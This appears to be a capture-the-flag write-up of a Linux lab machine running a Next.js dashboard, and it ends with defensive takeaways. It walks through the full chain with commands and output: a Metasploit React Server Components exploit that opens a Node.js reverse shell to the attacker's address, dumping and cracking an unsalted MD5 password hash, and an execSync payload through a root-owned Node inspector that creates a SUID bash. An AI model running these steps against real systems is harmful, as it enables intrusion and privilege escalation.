Difficulty: Easy  |  OS: Linux

Introduction

Reactor is an Easy Linux machine that runs a monitoring dashboard called ReactorWatch, built on Next.js. The path to root has three steps:

  1. CVE-2025-55182 (React2Shell), an unauthenticated RCE in React Server Components, gives a shell as the node user.
  2. The app’s SQLite database holds an unsalted MD5 hash for the engineer account, and it cracks in seconds.
  3. A root-owned Node.js process was started with --inspect on localhost, which is remote JavaScript execution as root for anyone who can reach the port.

1. Foothold — CVE-2025-55182 (React2Shell)

The box exposes a Next.js application on port 3000, next to SSH. Next.js 15 is built on React Server Components, and that is where this bug lives.

What is React2Shell?

CVE-2025-55182 is an unauthenticated remote code execution flaw in how React Server Components deserialize incoming requests. A crafted multipart POST to a server action endpoint is enough to run code on the server, and no login is needed. Metasploit has a module for it, which is what I used:

1
2
3
4
5
6
7
8
9
10
msf > search cve-2025-55182

# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/multi/http/react2shell_unauth_rce_cve_2025_55182 2025-12-03 excellent Yes Unauthenticated RCE in React Server Components (React2Shell)
1 \_ target: Next.js - Unix Command
...

msf > use 0
[*] Using configured payload cmd/unix/reverse_nodejs

The module defaults to port 80, so I changed RPORT to 3000 and pointed LHOST at my tun0 address:

1
2
3
4
5
6
7
8
msf exploit(...) > set RHOSTS 10.129.6.66
msf exploit(...) > set RPORT 3000
msf exploit(...) > set LHOST 10.10.14.192
msf exploit(...) > exploit
[*] Started reverse TCP handler on 10.10.14.192:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable.
[*] Command shell session 1 opened (10.10.14.192:4444 -> 10.129.6.66:36366)

The payload is a Node.js reverse shell, and it lands as the node user inside the app directory.


2. Lateral Movement — Cracking the engineer Hash

The first thing to read in a web app directory is its config. The .env file points at a SQLite database:

1
2
3
4
5
6
7
8
9
10
11
12
ls -la
-rw-r--r-- 1 node node 276 Dec 28 21:05 .env
-rw-r----- 1 node node 12288 Dec 28 21:03 reactor.db

cat .env
# ReactorWatch Configuration
DB_PATH=/opt/reactor-app/reactor.db
DB_TYPE=sqlite3

SENSOR_API_KEY=rw_sk_7f8a9b2c3d4e5f6g7h8i9j0k
ALERT_WEBHOOK=https://alerts.internal.reactor.htb/webhook
NODE_ENV=production

reactor.db is readable by the node user, so I dumped the users table:

1
2
3
4
5
6
sqlite3 reactor.db ".tables"
sensor_logs users

sqlite3 reactor.db "SELECT * FROM users;"
1|admin|a203b22191d744a4e70ada5c101b17b8|administrator|admin@reactor.htb
2|engineer|39d97110eafe2a9a68639812cd271e8e|operator|engineer@reactor.htb

Both passwords are 32 hex characters, which means plain MD5 with no salt. I went after engineer because that is the account most likely to have a shell:

1
2
3
4
5
6
7
┌──(kali㉿kali)-[~]
└─$ echo "39d97110eafe2a9a68639812cd271e8e" > hash.txt
└─$ john --format=Raw-MD5 --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
...
1 password hash cracked, 0 left
└─$ john --show --format=Raw-MD5 hash.txt
?:reactor1

A quick check that the hash really matches the password:

1
2
3
┌──(kali㉿kali)-[~]
└─$ echo -n "reactor1" | md5sum
39d97110eafe2a9a68639812cd271e8e -

The same password works over SSH, and user.txt is in the home directory:

1
2
3
4
5
6
7
8
┌──(kali㉿kali)-[~]
└─$ ssh engineer@10.129.6.66
ReactorWatch Core Monitoring System
Nuclear Dynamics Corp. - Site 7
AUTHORIZED PERSONNEL ONLY

engineer@reactor:~$ ls
user.txt

3. Privilege Escalation — Root-Owned Node.js Inspector

I ran linpeas.sh as engineer and read through the process list. One line in it matters:

1
2
node    1395  ... next-server (v15.0.3)
root 1398 ... /usr/bin/node --inspect=127.0.0.1:9229 /opt/uptime-monitor/worker.js

The Next.js app runs as node, but worker.js runs as root with --inspect=127.0.0.1:9229.

Why --inspect is dangerous

node --inspect app.js opens a debugging server that speaks the Chrome DevTools Protocol over a WebSocket. Developers use it to pause code, inspect variables and run JavaScript inside the live process. The debugger is not read-only, so anything you can type into it runs with the privileges of the process. Here that process is root.

Confirming the listener and the debug target takes two commands:

1
2
3
4
5
6
7
8
engineer@reactor:~$ ss -lntp | grep 9229
LISTEN 0 511 127.0.0.1:9229 ...

engineer@reactor:~$ curl http://127.0.0.1:9229/json
{
"title": "/opt/uptime-monitor/worker.js",
"webSocketDebuggerUrl": "ws://127.0.0.1:9229/..."
}

Attaching to the root process

Node ships a command-line client for this, node inspect. My first attempt, require('child_process'), failed with ReferenceError: require is not defined, because exec in the debugger does not run in module scope. The main module still holds a reference to require, so I went through that instead:

1
2
3
4
engineer@reactor:~$ node inspect 127.0.0.1:9229
connecting to 127.0.0.1:9229 ... ok
debug> exec("process.mainModule.require('child_process').execSync('cp /bin/bash /tmp/rootbash && chmod u+s /tmp/rootbash')")
Uint8Array(0)

Uint8Array(0) only means the command printed nothing. The payload copies bash to /tmp/rootbash and sets the SUID bit, and since the copy runs inside the root process, the new file is owned by root:

1
2
3
4
5
6
engineer@reactor:~$ ls -la /tmp/rootbash
-rwsr-xr-x 1 root root 1446024 May 26 12:35 /tmp/rootbash

engineer@reactor:~$ /tmp/rootbash -p
rootbash-5.2# cd /root
rootbash-5.2# cat root.txt

The -p flag matters. Without it bash drops the effective UID when it starts, and you end up as engineer again.


Attack Chain

text
1
2
3
4
5
6
7
8
9
Next.js on :3000
↓ CVE-2025-55182 (Metasploit, reverse_nodejs)
shell as node
↓ .env → reactor.db → MD5 hash for engineer
john + rockyou → reactor1 → SSH as engineer
↓ linpeas → root node --inspect=127.0.0.1:9229
node inspect → execSync → SUID copy of bash
↓
root

Summary

Stage Technique CVE
Foothold Unauthenticated RCE in React Server Components, Metasploit module, shell as node CVE-2025-55182
Lateral Movement SQLite database in the app directory, unsalted MD5 cracked with john and rockyou, SSH as engineer —
Privilege Escalation Root-owned node --inspect on localhost, JavaScript execution through node inspect, SUID bash —

Key Takeaways

  • Patch framework-level bugs fast. React2Shell needs no credentials and no user interaction. Anything running a vulnerable React Server Components stack is exposed the moment it is reachable.
  • Read the app’s config and database first. A .env file and a readable SQLite database gave me a second account with no extra exploitation.
  • Unsalted MD5 is not password storage. The hash fell to a wordlist in seconds. Use bcrypt or argon2, and don’t reuse application passwords for SSH.
  • Never run --inspect on a privileged process. Binding it to 127.0.0.1 helps against outside access, but any local user can still attach and run code as the process owner.
  • Check process owners in every ps listing. A root-owned service that accepts input from low-privileged users is a privilege escalation path, whether that input is a debugger, a socket or a file.

Have a nice day, and see you in the next writeup!
Any feedback in the comments section is very appreciated. 🙏